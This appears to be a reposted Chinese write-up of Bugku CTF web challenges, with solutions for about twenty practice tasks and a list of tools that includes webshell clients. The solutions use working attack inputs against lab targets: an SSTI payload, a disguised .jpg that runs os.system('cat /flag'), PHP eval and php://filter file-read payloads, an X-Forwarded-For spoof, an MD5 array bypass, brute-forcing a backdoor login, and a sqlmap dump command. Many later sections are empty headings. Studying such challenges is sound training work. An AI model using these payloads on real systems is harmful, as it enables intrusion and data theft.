刷题步骤按着解题人数从多到少顺寻
知识点记录模板注入模板注入文件解析漏洞+远程代码执行漏洞查看源代码的方法(F12、抓包、开发者工具)客户端传输数据—修改网页源代码禁用Js脚本,unicode解码POST方式,上传数据PHP弱类型----部分数据在“==”两侧相等Burpsuite抓包,审计源代码,unicodeBurpsuite抓包,重放,找flag文件读取,构造URL$GLOBALS可以查看全局作用域中的所有变量读取network中header部分目录扫描获得密码(爆破或者base64解码),repeter伪造身份URL解码文件包含漏洞+PHP伪协议绕过Bp爆破目录扫描+PHP弱类型之MD5弱类型sql注入:工具以及手注Python脚本+正则表达式Python脚本Python脚本PHP工具1.火狐:Hackbar
2.抓包改包:burpsuite
3.目录扫描:御剑扫描(记得更新字典)
4.sql注入:sqlmap
5.连接木马:中国菜刀/蚁剑
解法: 在URL中构造
?flag={{config.SECRET_KEY}}
审题:
相关知识点:
Python沙盒绕过
模板注入(STTI)
模板引擎(STT)
2.Simple_sstI_1解题:
1.工具:tqlmap
2.手工
解法:
创建一个文件,写python代码,修改文件格式为 .jpg
import osos.system('cat /flag')
修改文件格式方法自行搜索
审题:
<!-- Give me the file, and I will return the Running results by python to you! -->翻译:上传一张图片,会被以python代码执行
相关知识点:
①文件解析漏洞
②远程代码执行漏洞
③python:os模块及相关函数
审题:
一张滑稽图片
解法:
目的:查看源码,得到flag1.F122.右键3.开发者工具4.ctrl+u
5. 计算器审题:
输入数字,进行验证,但是长度有限制,只有一个单位
解法:
开发者工具下,打开源代码,修改maxlength为2或3
6. 你必须让他停下审题:
点开环境,会不断的出现d窗
解法:
禁止浏览器脚本功能->停止d窗查看源代码,发现flagflag是unicode编码形式->用工具或在线网站 进行解码即可
7. GET/POST审题:
查看源代码
$what=$_POST['what']; //接受post过来的参数what,存到what里echo $what; //打印if($what=='flag') //如果值是flagecho 'flag{****}'; //打印flag
解法:
用火狐的Hackbar工具
post data:what = flag
得到flag
审题:
查看源代码
发现:先要满足$num不是数字和数字字符串,还要满足$num==1
代码审计-PHP弱类型
在PHP语言中,相关数据在‘==’两侧相等
PHP弱类型
<?PHPvar_dump(1=="1");var_dump(123=='123asd');var_dump("1"==true);var_dump("0"==false);var_dump(-1 == true);var_dump(true=="PHP");var_dump(0==NulL);var_dump(0=="PHP");var_dump(0=="");var_dump(NulL==false);var_dump(""==false);var_dump(array()==false);var_dump(array()==NulL);?>
解法:
构造语句
?num == 1a
9. alert审题:
不停的d窗
解法:
阻止d窗,(抓包)
查看源代码
最后一段代码有点奇怪(是unicode格式的字符)
进行unicod转码为ASCII码
得到flag
审题:
不停的刷新图片,其中一张图片的源代码里面有flag
解法:
常规 *** 作:
利用burpsuit抓包,不断重放(sendtorepeter),知道到有flag的那张
其他花里胡哨解法:
截图;
禁止Js,手动刷新;
开源码,一次次刷新;
审题:
文件包含
<?PHP include "flag.PHP"; $a = @$_REQUEST['hello']; //变量名字出现 eval( "var_dump($a);"); show_source(__file__); // *** 作解释,file<=>文件名?>
解法:
构造url:?hello=show_source('flag.PHP')
审题
flag In the variable ! <?PHP error_reporting(0);include "flag1.PHP";highlight_file(__file__);if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ dIE("args error!"); } eval("var_dump($$args);");}?>
开始是像WEB8一样想,但是不对,
解题
构造url:?args=GLOBALS
$GLOBALS可以调用全局作用域中的所有变量,就可以看到flag
审题
头等舱
点开环境,真·什么都没有
头等舱头等舱----头
解题
火狐F12,网络,消息头,里有flag
审题
描述:网站被黑了 黑客会不会留下后门
解题
①目录扫描–御剑扫描
(赶时间就:)
构造url:ip+/shell.PHP
进入登陆界面
②弱口令爆破–burpsuite
bp:抓包,发送到intruder模块,进行爆破
审题
题目:本地管理员
进去是管理员系统
通常:用户名为admin,所以猜是admin
解题
密码:test123解法1:F12,最下面注释,有个代码,进行base64解码可得解法2:bp爆破密码但是输入账号密码,得到ip被禁止的消息本地管理员,本地bp抓包,发到repeter模块,构造header头X-Forwarded-For:127.0.0.1点击Go得到flag
16.源代码审题
看看源代码?
那就看嘛
解题
F12,查看源码,有个script脚本中间,有一堆url,拉出去,解码,最后一行说,拼接拼接在一起,得到一个假flag,放到框里,submit得到真flag
17.文件包含审题
click me?no
(点击)
index.PHP
(url:http://114.67.246.176:17169/index.PHP?file=show.PHP)
解题
文件包含漏洞++PHP协议
PHP://协议
在CTF中经常使用的是PHP://filter用于读取源码PHP://input用于执行PHP代码。
构造payload:http://114.67.246.176:17169/index.PHP?file=PHP://filter/read=convert.base64-encode/resource=index.PHP
参考文档:php:// 协议
18.好像需要密码审题
需要五位数密码
解题
弱密码爆破
使用burpsuite爆破 发包到intruder模块
经过爆破
得到密码
输入密码,得到flag
审题
备份是个好习惯
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
解题
御剑扫描目录后台(未扫到可能未更新字典)
得到/index.PHPh.bak
保存文件,用记事本打开
代码审计
<?PHPinclude_once "flag.PHP";ini_set("display_errors", 0);$str = strstr($_SERVER['REQUEST_URI'], '?');$str = substr($str,1);$str = str_replace('key','',$str);parse_str($str);echo md5($key1);echo md5($key2);if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag";}?> 加密的key1等于加密的key2并且不加密的key不等于key2
MD5弱类型碰撞,使用数组绕过即可(学嘛)
对key进行了一次绕过因此构造双重变量:kkeyey1和kkeyey2
最终payload:?kekeyy1[]=1&kekeyy2[]=2(即null==null)
审题
sql注入
解题
1.sqlmap工具注入
Bp抓包,复制内容为1.txt文件,移动到kali的家目录下
打开sqlmap
sqlmap -r “1.txt” -dump
直接爆破出flag
也可以按步骤一步步爆破
2.手注
21.秋名山车神(Py)审题
解题
审题
解题
审题
解题
审题
解题
审题
解题
审题
解题
审题
解题
审题
解题
审题
解题
审题
解题
以上是内存溢出为你收集整理的Bugku刷题--WEB篇全部内容,希望文章能够帮你解决Bugku刷题--WEB篇所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)